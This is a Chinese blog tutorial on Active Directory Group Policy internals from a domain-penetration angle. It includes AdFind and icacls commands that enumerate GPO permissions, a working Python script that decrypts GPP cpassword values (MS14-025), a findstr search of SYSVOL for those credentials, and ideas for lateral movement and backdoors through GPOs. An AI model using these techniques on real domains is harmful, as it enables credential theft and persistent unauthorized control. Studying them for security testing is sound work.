域渗透之组策略详解

关注公众号回复20231110获取最新网络安全以及内网渗透等资料。

在这里插入图片描述

组策略

组策略基本介绍

组策略可以对用户账户,计算机账户进行集中化管理和配置,组策略分为本地组策略和域的组策略,本机组策略一般用于计算机管理员统一管理本机以及所有用户,域内的组策略用于域管统一管理域内的所有计算机以及域用户。

打开组策略,可以看到域林中有一条条的组策略。

可以看到Default Domain PolicyDefault Domain Controller Policy 这两条组策略是默认的。
在这里插入图片描述
对于组策略,我们一般关心两点。

这条组策略链接到哪里。

这条组策略的内容是啥。

Default Domain Policy为例。

组策略链接

在右边的作用域里面,我们可以看到他链接到relaysec.com整个域,也就是说在relaysec.com域内的所有计算机,用户都会受到这条组策略的影响。链接的位置可以是站点,域,以及OU(特别注意,这里没有组,只有OU,至于为啥,可以返回去看组和OU的区别)。
在这里插入图片描述
我们可以将Default Domain Policy这条组策略导出查看。

在这里插入图片描述
可以看到它设置了一些相关的内容,比如说密码复杂性的要求,以及ST服务票据的寿命等等。
在这里插入图片描述
如果我们想配置这条组策略,我们可以在组策略的条目上右击编辑,就会打开组策略的编辑器了。
在这里插入图片描述
如下图,计算机配置和用户配置,在配置底下又分策略以及首选项,首先项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的,强制实施的,而组策略首选项则是不受管理的,非强制性。

对于很多系统设置来说,管理员既可以通过策略设置来实现,也可以通过策略首选项来实现,二者有相当一部分的重叠。
在这里插入图片描述

组策略更新

默认情况下,客户端更新组策略的方式主要有

后台轮询,查看sysvol 里面GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。轮询的时间是,默认情况下,计算机组策略会在后台每隔 90 分钟更新一次,并将时间作 0 到 30 分钟的随机调整。域控制器上的组策略会每隔 5 分钟更新一次。

计算机开机,用户登录时,查看sysvol 里面GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。
在这里插入图片描述
客户端强制更新,执行gupdate /force

域控强制客户端更新,执行 Invoke-GPUpdate -Computer "TESTwin10" -Target "User"

如果域控制器强制客户端刷新组策略,那么不会比较域共享目录中组策略的版本

组策略存储

每条组策略,可以看做是存储在域级别的一个虚拟对象。我们叫做GPO,每个GPO有唯一标志。用来标识每条组策略
在这里插入图片描述
那GPO 在域内的怎么存储的,他分为两个部分。

GPC

GPT

GPC 位于LDAP中,CN=Policies,CN=System,<BaseDn>底下,每个条目对应一个GPC。
在这里插入图片描述
其中包含GPO属性,例如版本信息,GPO状态和其他组件设置

GPC 里面的属性gPCFileSysPath链接到GPT里面。GPT 是是一个文件系统文件夹,其中包含由.adm文件,安全设置,脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。GPT位于域Policies子文件夹中的SysVol中。基本上组策略的配制信息都位于GPT里面。
在这里插入图片描述
在这里插入图片描述
Default Domain Policy为例。他对应的GPC是CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=relaysec,DC=com

displayNameDefault Domain Policy
在这里插入图片描述
通过gPCFileSysPath关联到GPT\relaysec.localsysvoltest.localPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}这个文件夹。GPT里面包含了一些策略数据。
在这里插入图片描述
那在LDAP 是如何体现链接呢。

在域,站点,OU上面有个属性gPLink来标识链接到这里的组策略
在这里插入图片描述
举个例子,安全部这个OU位于relaysec.local 这个域内, Default Domain Policy 这条组策略链接到
relaysec.com 这个域,所以默认情况底下,OU 会继承,这条组策略也同时会作用于安全部这个OU,如果我在财务这边选择组织继承,就不会作用域财务这个OU,在LDAP上下的体现就是财务这个OU的属性。
在这里插入图片描述

WMI筛选

在之前,我们通过链接,将组策略链接到站点,工作组,OU。然后作用于链接对象的计算机,用户。但是如果有新的需求,我要作用于部分计算机,用户。比如说作用于所有WIN7 的电脑,这个时候微软提供了另外一项技术,叫WMI筛选。他复用了windows 本身的wmic 技术,每一个建立的WMI筛选器都可以连接到不同的现有组策略对象,一旦产生关联与应用之后,只要组织单位中的目标计算机符合WMI筛选器所设置的条件,那么这项组策略对象将会生效。

举个例子,作用于所有大于Windows 8.1的电脑。

Select BuildNumber from Win32_OperatingSystem WHERE BuildNumber >= 9200

组策略相关的ACL

创建GPO的权限

创建GPO的权限其实就是对CN=Policies,CN=System,<BaseDn>具备CreateChild的权限。

我们可以用adfind 查询域内具备创建GPO的权限。

AdFind.exe -b CN=Policies,CN=System,DC=relaysec,DC=com -sddl+++ -s base -sdna -sddlfilter ;;"CR CHILD";;;

在这里插入图片描述

GPO链接的权限

之前我们说到在域,站点,OU上面有个属性gPLink来标识链接到这里的组策略。所以我们只要遍历所有的域,站点,OU 上面的所有ACE,如果有对gPLink属性或者gPOpptions属性的修改权限,就可以修改这个这个域/站点/OU链接的OU。这里使用adfind 来演示枚举。

遍历OU以adfind 以例

过滤规则是(objectCategory=organizationalUnit)

AdFind.exe -b DC=relaysec,DC=com -f "(objectCategory=organizationalUnit)" dn

在这里插入图片描述
遍历所有的域,站点,OU 上面的所有ACE。这里遍历安全部这个OU

对gLink或者gPOpptions的WriteProperty权限

adfind -b OU=安全部,DC=test,DC=local -sddl+++ -s base  -sdna -sddlfilter ;;;gPlink;;
adfind -b OU=安全部,DC=test,DC=local -sddl+++ -s base -sdna -sddlfilter ;;;gPOpptions;;

在这里插入图片描述

修改现有的GPO的权限

修改现有GPO的权限。

我们主要关心两个

GPC 链接到GPT 的权限

修改GPT的权限

上面提到过,GPC 与 GPT之间的关联是GPC有个属性gPCFileSysPath关联到GPT。
在这里插入图片描述
我们只需要查找对这个属性的WriteProperty就行。

AdFind.exe -b CN=Policies,CN=System,DC=relaysec,DC=com nTSecurityDescriptor -sddl+++ -s subtree -sdna -sddlfilter ;;;gPCFileSysPath;; -recmute

修改GPT的权限,由于GPT 是文件夹的形式,并不在LDAP里面,因此我们得使用一款能查看文件夹ACL的工具,这里我使用系统自带的icacls。

icacls C:\windows\SYSVOL\sysvol\relaysec.com\Policies\*

可以看到我在GPO这里设置了win7为完全控制权限,并且更新组策略。
在这里插入图片描述
在这里插入图片描述
如上图可以看到win7对6AC1786…这条组策略的GPT具有完全控制权限,前面我们又说到基本上组策略的配制信息都位于GPT里面。因为可以修改GPT,就等同于可以随意修改组策略配置。

可以使用AdFind来查看这条组策略的名字。

AdFind.exe -b CN={6AC1786...},CN=Policies,CN=System,DC=relaysec,DC=com -s base displayName

在这里插入图片描述

SYSVOL 漏洞(MS14-025)

在早期的版本,某些组策略首选项可以存储加密过的密码,加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了私钥:)。
在这里插入图片描述
我们在组策略上创建一个计划任务。
在这里插入图片描述
然后更新组策略。

可以看在在普通域机器上可以看到加密后的密码。
在这里插入图片描述
解密脚本:

import sys
from Crypto.Cipher import AES
from base64 import b64decode
from base64 import b64encode
key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)
iv =  "\x00" * 16
o = AES.new(key, AES.MODE_CBC, iv ).decrypt(password)
plaintext =  o[:-ord(o[-1])]
print(plaintext)

在实际渗透,我们可以通过以下命令来快速搜索

findstr /S cpassword \test.orgsysvol*.xml

在这里插入图片描述

利用组策略扩展

在拿到域控之后,有时候可能网络ACL 到达不了目标电脑,可以通过组策略进行横向。下面列举几种横向的方法。

在“软件安装”下推出.msi

在这里插入图片描述
推出特定的启动脚本
在这里插入图片描述
计划任务
在这里插入图片描述

组策略后门的一些思路

后门的一些思路,网上文章很多,这里就不阐述了。

在我们之前组策略相关的ACL里面有提到三种特权

  1. 创建GPO的权限
  2. GPO链接OU的权限。
  3. 修改现有的GPO的权限

除了在渗透中可以用于发现域内的安全隐患,也可以用于留后门,比如赋予某个用户创建GPO ,以及链接到域的权限,那么这个用户其实就等效于域管了。或者赋予某个用户拥有对某条GPO修改的权限,比如拥有修改Default Domain Policy的权限,那么这个用户就可以授予别的用户SeEnableDelegationPrivilege的权限,这个后门相对比较灵活,大家可以自己扩展。

  • 18
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值